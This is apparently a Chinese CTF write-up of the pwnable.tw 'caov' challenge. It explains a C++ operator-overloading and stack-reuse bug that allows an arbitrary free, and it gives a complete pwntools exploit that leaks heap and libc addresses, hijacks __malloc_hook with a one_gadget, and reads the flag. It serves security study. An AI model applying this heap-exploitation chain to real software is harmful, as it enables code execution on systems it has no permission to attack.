漏洞点:

  • 虽然给了源码但是漏洞得看二进制文件才能看出,结合flag,这是C++运算符重载相关的漏洞
  • edit的时候存在栈复用,可以任意指针free

漏洞原理:

  • 正常运算符重载的写法(这里只讨论写为成员函数)需要在成员函数末尾return *this,同时返回值需要为当前对象类型的引用类型,这个返回值会作为其他运算的右值,如a = b = c,为了保证程序正常,这个值必须要存在。
  • 如果不主动写return *this,g++在编译的时候,会把返回值指针指向栈上一段同类型大小的空内存(填充为null),把这段空内存作为右值(隐式的return)然后析构这段内存。析构时遇到对象指针会先判断是否为空再执行delete
  • 但是空内存可以借助栈复用进行修改,构造出我们自定义的指针,这样在析构函数中如果有对某些指针域的delete,就可以构造出任意地址free

利用思路:

  • 难点在第一步的leak heap。通过在bss上构造fakechunk和自定义指针freebss上的chunk,然后借助一个非法size值跳过最后的析构避免doublefree,这样可以在不触发0截断时输出free过chunk上的fd值。具体细节,其实挺复杂,只可意会不可言传。
  • leak heap之后修改堆上对象内存指针指向保存了libc地址的位置,调用info成员函数leak libc
  • 最后打__malloc_hook(需要__realloc_hook间接补全栈条件)

EXP

from pwn import *

#p = process("./caov")
p = remote("chall.pwnable.tw", 10306)
elf = ELF("./caov")
libc = ELF("./libc_64.so.6")
#libc = ELF("./libc.so.6")

context.log_level = "debug"

def show():
    p.recvuntil("Your choice: ")
    p.sendline(b"1")

def edit(name, key_len:int, key, value):
    p.recvuntil("Your choice: ")
    p.sendline(b"2")
    p.recvuntil("Enter your name: ")
    p.sendline(name)
    p.recvuntil("New key length: ") 
    p.sendline(str(key_len).encode())
    if key_len > 1000:
        return
    p.recvuntil("Key: ")
    p.sendline(key)
    p.recvuntil("Value: ")
    p.sendline(str(value).encode())

def go_exit():
    p.recvuntil("Your choice: ")
    p.sendline(b"3")

def exp():
    #const
    bss_name = 0x6032C0
    fake_chunk = 0x6032a0 + 0x2 - 0x8
    one_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    one_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    read_got = 0x602F40

    #init
    init_name = b"eqqie"
    init_key = b"\x00"*0x30
    init_value = str(0xdeadbeef).encode()
    p.recvuntil("Enter your name: ")
    p.sendline(init_name)
    p.recvuntil("Please input a key: ")
    p.sendline(init_key)
    p.recvuntil("Please input a value: ")
    p.sendline(init_value)

    #leak heap

    #gdb.attach(p, "b *0x4014c2\nb *0x4014f5\nb *0x401563\nc\n")
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    payload1 = p64(0)+p64(0x20)+b"DDDDDDDD"
    payload1 = payload1.ljust(0x20, b"A")
    payload1 += p64(0x20) + p64(0x20)
    payload1 = payload1.ljust(0x60, b"A")
    payload1 += p64(bss_name+0x10)
    edit(payload1, 20, b"A"*20, 0xdeadbeef)

    payload2 = p64(0)+p64(0x41)+p64(0)
    payload2 = payload2.ljust(0x40, b"A")
    payload2 += p64(0x00) + p64(0x20)
    payload2 = payload2.ljust(0x60, b"A")
    payload2 += p64(bss_name+0x10)
    edit(payload2, 1020, b"1", 0xdeadbeef)

    p.recvuntil(b"Key: ")
    p.recvuntil(b"Key: ")
    heap_leak = u64(p.recv(3).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x11c90
    data_obj = heap_base + 0x11ce0 - 0x10
    heap_with_libc = heap_base + 0x11e30
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    print("data_obj:", hex(data_obj))
    print("heap_with_libc:", hex(heap_with_libc))
    #gdb.attach(p)

    # get obj chunk && leak libc
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    payload3 = p64(0)
    payload3 = payload3.ljust(0x60, b"B")
    payload3 += p64(data_obj+0x10)
    edit(payload3, 0x30, p64(read_got), 0xdeadbeef)
    show()
    p.recvuntil(b"Key: ")
    libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - libc.symbols[b"read"]
    one_gadget = libc_base + one_remote[1]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    realloc = libc_base + libc.symbols[b"realloc"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("one_gadget:", hex(one_gadget))
    print("malloc_hook:", hex(malloc_hook))
    print("fake_chunk:", hex(fake_chunk))

    # get malloc_hook
    ## fakebin akkack
    payload4 = p64(0) + p64(0x71)
    payload4 = payload4.ljust(0x60, b"A")
    payload4 += p64(bss_name+0x10)
    payload4 = payload4.ljust(0x70, b"A")
    payload4 += p64(0x70) + p64(0x21)
    edit(payload4, 1020, b"1", 0xdeadbeef)

    ## fake fd
    payload5 = p64(0) + p64(0x71)
    payload5 += p64(fake_chunk)
    edit(payload5, 1020, b"1", 0xdeadbeef)

    ## get fake chunk
    edit(p64(0) + b"\x71", 0x60, b"1", 0xdeadbeef)
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    edit(b"eqqie", 0x60, b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc), 0xdeadbeef)

    p.sendline("cat /home/*/flag")
    p.interactive()


if __name__ == "__main__":
    exp()

标签: none

添加新评论